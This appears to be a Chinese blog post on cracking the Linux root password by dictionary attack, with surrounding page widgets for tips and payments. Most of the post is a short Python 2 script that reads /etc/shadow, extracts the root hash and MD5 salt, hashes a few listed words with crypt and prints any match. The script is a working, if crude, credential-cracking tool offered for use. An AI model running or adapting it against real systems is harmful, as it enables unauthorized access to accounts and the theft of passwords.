字典法暴力破解Linux用户密码

背景介绍

Linux系列的很多操作系统是采用MD5加密用户密码的,加密的过程是单向的,所以要破解只能采用暴力破解法。

实战

下面分享个程序来破解root用户密码。

程序会遍历字典文件中的每个密码,加密后和/etc/shadow中的密码匹配,如果相同则返回成功。

以下是代码:

#!/usr/bin/env python

import crypt

import sys

import re

dic = [

        'cookie',

        'test',

        'fuckyou'

        ]

passwordfile = '/etc/shadow'

def getrootpass():

        f = open(passwordfile, 'r')

        for line in f.readlines():

                if 'root:' in line :

                        rootpass = line.split(":")[1]

        if rootpass is None:

                print "cannot find root user"

                sys.exit(1)

        return rootpass

def getsalt():

        rootpass = getrootpass()

        if rootpass:

                salt = re.match("(\$1\$.*\$)", rootpass)

                if salt != None :

                        salt = salt.groups(1)[0]

        return salt

def crack():

        for passwd in dic:

                testpass = crypt.crypt(passwd, str(getsalt()))

                if testpass == getrootpass():

                        print "crack root password successful !\n root password is :\n%s" % passwd

                        sys.exit(0)

        print "could not crack root password"

crack()


 

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值